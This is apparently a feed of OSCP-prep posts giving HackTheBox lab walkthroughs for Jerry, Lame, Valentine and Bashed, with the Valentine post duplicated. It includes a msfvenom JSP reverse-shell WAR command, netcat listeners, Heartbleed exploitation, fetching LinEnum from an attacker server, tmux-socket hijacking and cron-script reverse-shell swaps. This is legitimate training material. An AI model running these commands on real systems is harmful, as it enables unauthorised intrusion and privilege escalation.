Ethical Hacking Tutorials

OSCP Preparation Day-5 ( Jerry - HTB) The machine is a very old machine but nice to have some revision https://app.hackthebox.com/machines/Jerry/ ┌──(abhinav㉿ETHICALHACKX)-[~/htb] └─$ sudo nmap jerry.htb This would give the open ports. When you know the machine's IP is right and nothing shows up, extend the ports range manually and try for TCP and UDP too, and -Pn flag to ignore the host live check. ┌──(abhinav㉿ETHICALHACKX)-[~/htb/jerry] └─$ sudo nmap -sC -sV -O -p8080 -oA jerry-htb jerry.htb as in the last step only port 8080 came up, I for the sake of time, scanned only that port. PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-title: Apache Tomcat/7.0.88 |_http-favicon: Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache-Coyote/1.1 When you open the page in website, you see some page, explore links and click manage to get login prompt, a basic auth setup. I saw many to try bruteforce, but if you intentionally enter few wrong passwords, you see at default error page the actual password as explanation, try that, it works !! We next see on login a number of folders and an option to upload, file type is war. msfvenom is here to rescue. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=9555 -f war > EthicalHackx.war replace 9555 with any port number ( dont use known ones) upload this file open a netcat shell ┌──(abhinav㉿ETHICALHACKX)-[~/htb/jerry] └─$ nc -nlvp 9555 now in browser click the foldername/file name that you uploaded like for me it was EthicalHackx, and notice you got the shell in netcat C:\apache-tomcat-7.0.88>whoami whoami nt authority\system and that too a system user shell. Get the flags from desktop of administrator type <filename> *Things I learnt/should know in this box -nmap scan -knowing the common ports and services, 8080/80 always relates to web browser pages -file misconfigurations - reveled the default username password -msfvenom to generate exploits -netcat should be known -navigating around windows cmd #OSCP #Day5

OSCP Preparation - Jerry HTB

All about OSCP Offensive Security Certified Professional is an ethical hacking certification offered by Offensive Security that teaches penetration testing methodologies and the use of the tools included with the Kali Linux distribution. OSCP Buffer overflow concepts and tutorials http://strongcourage.github.io/2020/04/19/bof.html OSCP Cheatsheets:) https://github.com/slyth11907/Cheatsheets Pentest-Cheat-Sheets This repo has a collection of snippets of codes and commands to help our lives! The main purpose is not be a crutch, this is a way to do not waste our precious time! This repo also helps who trying to get OSCP. You'll find many ways to do something without Metasploit Framework. Link:-https://github.com/Kitsun3Sec/Pentest-Cheat-Sheets Hacking/OSCP cheatsheet https://ceso.github.io/posts/2020/04/hacking/oscp-cheatsheet/ All about OSCP:- https://oscp.infosecsanyam.in/ OSCP preparation https://github.com/rewardone/OSCPRepo https://github.com/0x4D31/awesome-oscp#resources https://ired.team/offensive-security-experiments/ OSCP methodology:- https://paper.dropbox.com/doc/OSCP-Methodology-EnVX7VSiNGZ2K2QxCZD7Q https://github.com/OlivierLaflamme/Cheatsheet-God https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://github.com/foobarto/redteam-notebook/blob/master/README.md https://github.com/RustyShackleford221/OSCP-Prep https://johnjhacking.com/blog/the-oscp-preperation-guide-2020/ Share With OSCP Learners 🙏🏻

OSCP Bufferoverflow points decreased and mandatory Active Directory Box now onwards. Read more about changes in exam format https://www.offensive-security.com/offsec/oscp-exam-structure/ Learn more about OSCP at @EthicalHackxCom

Life Hack : Use the Weekends to build the life you want instead of trying to escape the life you have. Learn more Hacking at - @EthicalHackxCom #Copied

OSCP Preparation Day-4 ( Lame -HTB) I am just being Lame and trying to get some time to keep solving boxes. This is a very very beginner level box. Machine Link - https://app.hackthebox.com/machines/1 ( Retired Box) This is just to boost confidence of beginners like me who are not able to solve boxes. run Nmap and get the ports, run nmap to get services and versions ┌──(abhinav㉿ETHICALHACKX)-[~/htb] └─$ nmap lame.htb -Pn Nmap scan report for lame.htb (10.10.10.3) Host is up (0.18s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds ┌──(abhinav㉿ETHICALHACKX)-[~/htb] └─$ sudo nmap -sC -sV -A -O -oA lame -p21,22,139,445 lame.htb PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.5 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Next you can search for exploits for ftp or other services. searchsploit/search in msf gives decent results. As soon you exploit smbd 3.0.20, you are root. Things to Learn find services and versions via nmap searching exploit in metasploit or searchsploit or google setting payload options in msf #OSCP #day-4 Learn More at @EthicalHackxCom

OSCP Preparation Day-3 : "Valentine (HTB)" HackTheBox - Valentine Machine Link - https://app.hackthebox.com/machines/ValentineThings to Learn/new for me -recon and trying to know distribution version from services/packages installed via launchpad - nmap nse scripts, one can have a look and idea of what scripts are already available. -vulnerability scanning with nmap -HeartBleed Vulnerability and Exploitation -DirtyCow Vulnerability and Expoitation -SSH Login, SSH Key, default location and format ( trying to get any information of that can be from the key) -hex to ascii and anytihng to base64 and other common encoding conversion (online) -wget/curl -running process on linux and the user running it. -user and group permissions in Linux for files and process #OSCP #day-3 Learn More at @EthicalHackxCom

OSCP Preparation Day-3 : Will you be My "Valentine" HackTheBox - Valentine Machine Link - https://app.hackthebox.com/machines/Valentine nmap initial scan reveals 3 ports - 22, 80, 443 ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ nmap valentine.htb full nmap scan says more about the ports. ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ sudo nmap -sC -sV -A -oA valentine.htb-nmap valentine.htb -p22,80,443 Apache httpd 2.2.22 (Ubuntu) can lead to Ubuntu Precise (12.04) https://launchpad.net/ubuntu/+source/apache2/2.2.22-1ubuntu1.9 Browsing the web page of the machine with IP says clearly about HeartBleed vulnerability. I did not knew how to exploit it but some tutorials helped me through it. I am yet to learn more on this and understand. There is also another Vulnerability this is prone to - DirtyCow So as web page says HeartBleed using nmap we scan this machine using nse-scripts ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ nmap -p443 --script ssl-heartbleed valentine.htb for more ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ sudo nmap --script vuln -oA vulnscan valentine.htb the output makes it clear the machine is vulnerable to heartbleed Exploiting heartbleed https://gist.github.com/eelsivart/10174134 Here understanding some of exploit development can help, modified the script to throw max output as possible..and run the script multiple times ( in loop, look the script argument instead of loop) there comes a text key repeated wihch is base64 encoded. decode it aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ echo -n aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d heartbleedbelievethehype meanwhile gobuster found some interesting entries. ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ gobuster dir --url http://valentine.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 http://valentine.htb/dev has notes and hype_key - which is usually like SSH key... but its hex, convert it to ASCII - https://www.rapidtables.com/convert/number/hex-to-ascii.html save the decoded strings as key file ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ file hype.key hype.key: PEM RSA private key we now has a username - an IP, and a key, a decoded kind of passphrase.. - heartbleedbelievethehype ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ sudo chmod 600 hype.key [sudo] password for abhinav: ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ ssh -i hype.key hype@valentine.htb Grab the userflag and jump next step to uploading LinEnum using python server. ┌──(abhinav㉿ETHICALHACKX)-[~/htb] └─$ python -m SimpleHTTPServer 80 hype@Valentine:~/Desktop$ wget 10.10.14.50/LinEnum.sh hype@Valentine:~/Desktop$ ls LinEnum.sh user.txt << user flag>> LinEnum says some information there are some shells on machine --- > tmux running services - root 1014 0.0 0.1 26416 1672 ? Ss 17:02 0:01 /usr/bin/tmux -S /.devs/dev_sess -->this is another interesting entry, I am yet to learn more of this. Looking into bash_history hype@Valentine:~/Desktop$ cat ~/.bash_history Looking at running process as there was another entry in bash_history hype@Valentine:~/Desktop$ ps -ef |grep root hype@Valentine:~/Desktop$ ps -ef |grep tmux root 1014 1 0 17:02 ? 00:00:02 /usr/bin/tmux -S /.devs/dev_sess the process is running as root and we can ls -la to see members of hype group got some superpowers. hype@Valentine:~/Desktop$ la -la /.devs/dev_sess srw-rw---- 1 root hype 0 Nov 6 17:02 /.devs/dev_sess So lets run the tmux/ take over the session which is already running. hype@Valentine:~Desktop tmux -S /.devs/dev_sess hype@Valentine:~Desktop tmux -S /.devs/dev_sess root@Valentine:/home/hype/Desktop# ls LinEnum.sh user.txt root@Valentine:/home/hype/Desktop# cd ~ root@Valentine:~# ls curl.sh root.txt root@Valentine:~# cat root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx #OSCP #day-3 Learn More at @EthicalHackxCom

OSCP Preparation Day-3 : "Valentine (HTB)" HackTheBox - ValentineThings to Learn/new for me -recon and trying to know distribution version from services/packages installed via launchpad - nmap nse scripts, one can have a look and idea of what scripts are already available. -vulnerability scanning with nmap -HeartBleed Vulnerability and Exploitation -DirtyCow Vulnerability and Expoitation -SSH Login, SSH Key, default location and format ( trying to get any information of that can be from the key) -hex to ascii and anytihng to base64 and other common encoding conversion (online) -wget/curl -running process on linux and the user running it. -user and group permissions in Linux for files and process #OSCP #day-3 Learn More at @EthicalHackxCom

OSCP Preparation Day-3 : Will you be My "Valentine" HackTheBox - Valentine Machine Link - https://app.hackthebox.com/machines/Valentine nmap initial scan reveals 3 ports - 22, 80, 443 ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ nmap valentine.htb full nmap scan says more about the ports. ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ sudo nmap -sC -sV -A -oA valentine.htb-nmap valentine.htb -p22,80,443 Apache httpd 2.2.22 (Ubuntu) can lead to Ubuntu Precise (12.04) https://launchpad.net/ubuntu/+source/apache2/2.2.22-1ubuntu1.9 Browsing the web page of the machine with IP says clearly about HeartBleed vulnerability. I did not knew how to exploit it but some tutorials helped me through it. I am yet to learn more on this and understand. There is also another Vulnerability this is prone to - DirtyCow So as web page says HeartBleed using nmap we scan this machine using nse-scripts ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ nmap -p443 --script ssl-heartbleed valentine.htb for more ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ sudo nmap --script vuln -oA vulnscan valentine.htb the output makes it clear the machine is vulnerable to heartbleed Exploiting heartbleed https://gist.github.com/eelsivart/10174134 Here understanding some of exploit development can help, modified the script to throw max output as possible..and run the script multiple times ( in loop, look the script argument instead of loop) there comes a text key repeated wihch is base64 encoded. decode it aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ echo -n aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d heartbleedbelievethehype meanwhile gobuster found some interesting entries. ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ gobuster dir --url http://valentine.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 http://valentine.htb/dev has notes and hype_key - which is usually like SSH key... but its hex, convert it to ASCII - https://www.rapidtables.com/convert/number/hex-to-ascii.html save the decoded strings as key file ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ file hype.key hype.key: PEM RSA private key we now has a username - an IP, and a key, a decoded kind of passphrase.. - heartbleedbelievethehype ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ sudo chmod 600 hype.key [sudo] password for abhinav: ┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine] └─$ ssh -i hype.key hype@valentine.htb Grab the userflag and jump next step to uploading LinEnum using python server. ┌──(abhinav㉿ETHICALHACKX)-[~/htb] └─$ python -m SimpleHTTPServer 80 hype@Valentine:~/Desktop$ wget 10.10.14.50/LinEnum.sh hype@Valentine:~/Desktop$ ls LinEnum.sh user.txt << user flag>> LinEnum says some information there are some shells on machine --- > tmux running services - root 1014 0.0 0.1 26416 1672 ? Ss 17:02 0:01 /usr/bin/tmux -S /.devs/dev_sess -->this is another interesting entry, I am yet to learn more of this. Looking into bash_history hype@Valentine:~/Desktop$ cat ~/.bash_history Looking at running process as there was another entry in bash_history hype@Valentine:~/Desktop$ ps -ef |grep root hype@Valentine:~/Desktop$ ps -ef |grep tmux root 1014 1 0 17:02 ? 00:00:02 /usr/bin/tmux -S /.devs/dev_sess the process is running as root and we can ls -la to see members of hype group got some superpowers. hype@Valentine:~/Desktop$ la -la /.devs/dev_sess srw-rw---- 1 root hype 0 Nov 6 17:02 /.devs/dev_sess So lets run the tmux/ take over the session which is already running. hype@Valentine:~Desktop tmux -S /.devs/dev_sess hype@Valentine:~Desktop tmux -S /.devs/dev_sess root@Valentine:/home/hype/Desktop# ls LinEnum.sh user.txt root@Valentine:/home/hype/Desktop# cd ~ root@Valentine:~# ls curl.sh root.txt root@Valentine:~# cat root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx #OSCP #day-3 Learn More at @EthicalHackxCom

Will you be my Valentine (HTB) ? OSCP Prep Day-3 Know about Valentine @EthicalHackxCom

OSCP Preparation Day-3....what should we learn today... ?

OSCP Day-2 Solved HackTheBox Bashed Machine ( with help) More Hacking at @EthicalHackxCom Things I learnt nmap initial scanning revals port 80 as only hope- running some simple php thing... gobuster/dirb reveals upload directory... has a php-webshell we can get a shell from that which is not very interactive and we try to upload our shell Finding a upload directory or knowing the common directories would be helpful python -m SimpleHTTPServer 80 can give a temp server to you from where you can upload files/reverseshells or more... curl or wget to get the files netcat to get the reverse-shell hold - nc -nlvp 1234 recon is always very important, LinEnum or similar ones, know the users on machine, also by user-id know wihch users are system users, which are normal users sudo -l will tell what a user can run with sudo privillages upload reverse-shell of php to uploads and run it to get a shell on netcat python -c 'import pty;pty.spawn("/bin/bash")' Figure out the scripts directory in system root to have 2 files, 1 owned by root( written by root), 1 by scriptmanager user also the test.txt file to update everyminute indicating test.py is running and overwriting it, can be seen in py file by cat and scriptmanager can edit the file, so cp /var/www/html/uploads/python-rev-shell.py ./test.py launch netcat seperate instance to get root shell, read all user and root flags corn jobs can be verified to see the test.py running everytime Things to Learn from the box: know what commands can be run as sudo uploading by python server wget/curl to download files locate web-shells or reverse-shells that ship from box in Kali or other distros. Recon by uploading LinEnum.sh script netcat listner on a port by nlvp port-number basic linux commands like cd/pwd/ls -l/cp/mv/cron jobs/nano/nmap #OSCP #day-2 Keep Learning more @EthicalHackxCom

OSCP Preparation - what you learnt today ? Tell us in comments at @EthicalHackxCom

26k Hackers family we are now. Join @EthicalHackxCom and @EthicalHackx

OSCP Preparation Day-1 The PWK - Pentesting With Kali Linux most people already have this PDF This also acts as baseline to the OSCP Certification course. So let's get comfortable with Kali Linux # find, locate, which all somewhat search in linux, locate needs updatedb, and may not be installed on machine so installation needed. which would search in $PATH variables to return which program would run if called find does a recursive search and is a powerful tool. Linux Find and File Permissions References for reading #- https://ethicalhackx.com/linux-file-permissions-chmod-part-1/ #- https://ostechnix.com/find-files-based-permissions/ #- https://tutonics.com/2012/12/linux-file-permissions-chmod-umask.html` #- https://tutonics.com/2012/12/find-files-based-on-their-permissions.html #- https://stackoverflow.com/questions/15247563/how-can-i-find-files-that-only-have-certain-permission-for-owner/15247808 OSCP Day-0 can be found here - https://t.me/ethicalhackx/1924 OSCP Day-0 [Reverse Reading] - https://t.me/ethicalhackx/1925 #OSCP #day1

OSCP Preparation Day 0 Different Shell types.. As not all are noobs, but all want to learn, here is an article for somewhat experienced people. Join us for OSCP to learn more - @EthicalHackxCom #- https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con